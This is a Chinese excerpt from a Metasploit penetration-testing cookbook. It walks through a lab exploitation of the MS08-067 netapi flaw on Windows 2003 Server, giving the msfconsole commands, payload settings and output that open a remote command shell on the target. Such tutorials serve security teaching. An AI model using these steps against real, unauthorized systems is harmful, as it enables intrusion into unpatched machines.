本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第3章3.5节在Windows 2003 Server上进行渗透测试,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。

3.5 在Windows 2003 Server上进行渗透测试
Metasploit渗透测试手册
在上一节中,我们介绍了怎样使用dcom漏洞利用代码,引发Windows目标机器的缓冲区溢出,并成功实现对其进行攻击渗透。本节将介绍一个类似但又不完全相同的环境,Windows 2003 Server是微软应用最广泛的企业级操作系统之一,本节将介绍怎样对其进行攻击渗透,由于打了补丁的Windows 2003 Server中已经不存在dcom漏洞,所以本节中将尝试使用其他漏洞,即netapi32.dll漏洞。首先分析该漏洞的工作过程,然后分析该漏洞成因。

准备
首先启动msfconsole,并对目标进行快速扫描。建议读者执行渗透测试时采用标准的步骤,以便增强理解和掌握。下面的内容和前两节讲述的是相同的,差别在于使用的漏洞利用代码不同。

怎样实现
若要在Windows 2003 Server上执行渗透测试,遵循如下步骤。

(1)首先搜索netapi,列出Metasploit框架中所有与netapi相关的漏洞利用代码。

msf > search netapi
Matching Modules
================Name                                   Disclosure Date     Rank    ----                                   ---------------     ----
exploit/windows/smb/ms03_049_netapi     2003-11-11       good
exploit/windows/smb/ms06_040_netapi     2006-08-08       good
exploit/windows/smb/ms06_070_wkssvc     2006-11-14       manual
exploit/windows/smb/ms08_067_netapi     2008-10-28       great

从结果可以看到,列出的4个结果中,最后一个漏洞利用代码的评级为great,所以优先使用该漏洞利用代码。

(2)将RHOST设置为Windows 2003 Server目标机器。

msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):Name     Current Setting  Required  Description----     ---------------  --------  -----------RHOST                      yes        The target addressRPORT    445              yes        Set the SMB service portSMBPIPE  BROWSER          yes        The pipe name to use
(BROWSER, SRVSVC)
Exploit target:Id  Name--  ----0   Automatic Targeting
msf  exploit(ms08_067_netapi) > set RHOST 192.168.56.102
RHOST => 192.168.56.102

Id值为0的含义是不需要指定目标操作系统。

(3)完成漏洞利用代码加载后,设置攻击载荷。这里仍然设置tcp_bind攻击载荷,以便获取目标机器的shell,如前面所讨论的。

msf  exploit(ms08_067_netapi) > set payload
windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf  exploit(ms08_067_netapi) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

漏洞利用代码和攻击载荷都已经设置完毕,最后使用exploit命令并分析该命令的执行结果。

msf  exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 SERVER - Service Pack 2 - lang:English
[*] Selected Target: Windows 2003 Server SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.56.102
[*] Command shell session 1 opened (192.168.56.101:43408 ->
192.168.56.102:4444) at 2011-11-02 21:25:30 +0530
C:\WINDOWS\system32>

从结果可以看到攻击成功,并建立了到目标主机的shell连接,可以通过命令行访问目标机器。Metasploit在进行渗透攻击测试方面功能强大,在相当大的程度上简化了任务的难度。下面快速浏览本节中漏洞利用代码的工作原理。

怎样工作
该模块利用了Server服务中的漏洞,即netapi32.dll执行路径连接代码中的分析漏洞,在某些操作系统和服务包中,该漏洞可以绕过NX特性。可用于防止Server服务(以及同一进程中的其他服务)崩溃。

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

《Metasploit渗透测试手册》—第3章3.5节在Windows 2003 Server上进行渗透测试相关推荐

  1. 《Metasploit渗透测试手册》目录—导读

    版权声明 Metasploit渗透测试手册 Copyright © Packt Publishing 2012. First published in the English language und ...

  2. 《黑客秘笈——渗透测试实用指南》—第1章1.1节搭建渗透测试主机

    本节书摘来自异步社区<黑客秘笈--渗透测试实用指南>一书中的第1章1.1节搭建渗透测试主机,作者[美]Peter Kim(彼得 基姆),更多章节内容可以访问云栖社区"异步社区&q ...

  3. Microsoft Windows 7.0 build 7000 NAP测试--健康状态检测验证报告

    第一份已经发布的测试报告主要是针对Windows 7.0 build 7000的一个功能概览,让大家看看Windows 7.0的主要更新和一些新特性的展现.那么大多数东西是粗浅的,没有细细的品味Win ...

  4. 谈谈在计算机系统中引入操作系统,初中信息技术第一册第二章第1节《操作系统简介》教学设计...

    广州市初中信息技术第一册第二章第1节<操作系统简介>教学设计 一.学习者分析 学生通过第一章的学习,对计算机的软.硬件知识有了初步的了解,同时对操作系统的作用也有了简单的认识.但由于学生普 ...

  5. 【机器学习算法面试题】七.如何进行线上A/B测试,如何划分实验组和对照组?

    欢迎订阅本专栏:<机器学习算法面试题> 订阅地址:https://blog.csdn.net/m0_38068876/category_11810806.html [机器学习算法面试题]一 ...

  6. 《Metasploit渗透测试手册》—第3章3.2节Exploit用法快速提示

    本节书摘来自异步社区<Metasploit渗透测试手册>一书中的第3章3.2节Exploit用法快速提示,作者[印度]Abhinav Singh,更多章节内容可以访问云栖社区"异 ...

  7. Metasploit 渗透测试手册第三版 第三章 服务端漏洞利用(翻译)

    第三章 服务端漏洞利用 在本章中,我们将学习以下内容 1.攻击Linux服务器 2.SQL注入攻击 3.shell类型 4.攻击Windows服务器 5.利用公用服务 6.MS17-010 永恒之蓝 ...

  8. Kail Linux渗透测试实训手册第3章信息收集

    Kail Linux渗透测试实训手册第3章信息收集 信息收集是网络攻击最重要的阶段之一.要想进行渗透攻击,就需要收集目标的各类信息.收集到的信息越多,攻击成功的概率也就越大.本章将介绍信息收集的相关工 ...

  9. Android 渗透测试学习手册 第七章 不太知名的 Android 漏洞

    第七章 不太知名的 Android 漏洞 作者:Aditya Gupta 译者:飞龙 协议:CC BY-NC-SA 4.0 在本章中,我们将了解一些不太知名的 Android 攻击向量,这在 Andr ...

  10. Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装

    Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装  一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...

最新文章

  1. Python学习全家桶,Python初学者十一个热门问题
  2. Leetcode 118. 杨辉三角 (每日一题 20210901)
  3. 白话Elasticsearch27-深度探秘搜索技术之误拼写时的fuzzy模糊搜索技术
  4. 简单超级组计划 打造强悍手臂
  5. 一文搞定C语言本地变量和全局变量
  6. 想成长为一名实战型架构师?7大实战技能经验分享
  7. leetcode —— 216. 组合总和 III
  8. WPF老矣,尚能饭否——且说说WPF今生未来(中):策略
  9. java: jsp:param中文乱码
  10. 全新UI西游H5决战天宫游戏详细图文架设教程
  11. 美女视频都想下载,今天我们就来批量下载它们~
  12. 渗透之代理小知识--
  13. xcode10及iOS12问题
  14. JavaScript — 浏览器事件、冒泡和捕获、事件委托
  15. Building wheels for collected packages: mysqlclient Building wheel for mysqlclient (setup.py) ...
  16. Pandas实现列表分列与字典分列的三个实例
  17. cdr怎么把矩形去掉一个边_cdr画矩形怎么把中间弄掉
  18. python非线性最小二乘拟合_非线性函数的最小二乘拟合——兼论Jupyter notebook中使用公式 [原创]...
  19. mocha 测试 mysql_GitHub - WePoem/lei: 整合Express mysql ioredis ejs 的一开发框架,使用mocha对api进行测试...
  20. CIO40知识星球:参观富士康灯塔工厂

热门文章

  1. python数值分为3种类型_Python数值类型
  2. 保密检查usb痕迹清除_MD型卧式多级泵泵轴抱死故障原因分析和检查维修处理
  3. 用Tensorflow基于Deep Q Learning DQN 玩Flappy Bird
  4. LIBSVM使用方法及参数设置
  5. 实数系的连续性的含义
  6. android 根据名字获取资源,Android利用资源名称获取其ID(一)—getIdentifier()
  7. 华东交通大学计算机科学与技术专业,华东交通大学计算机科学与技术专业2016年在湖北理科高考录取最低分数线...
  8. ubuntu需要多大的固态硬盘_Ubuntu16.10 迁移到 SSD
  9. mysql根据不同的值查询不同的字段_sql根据一个字段不同值查询不同表中的一个字段...
  10. 10个常见的Redis面试刁难问题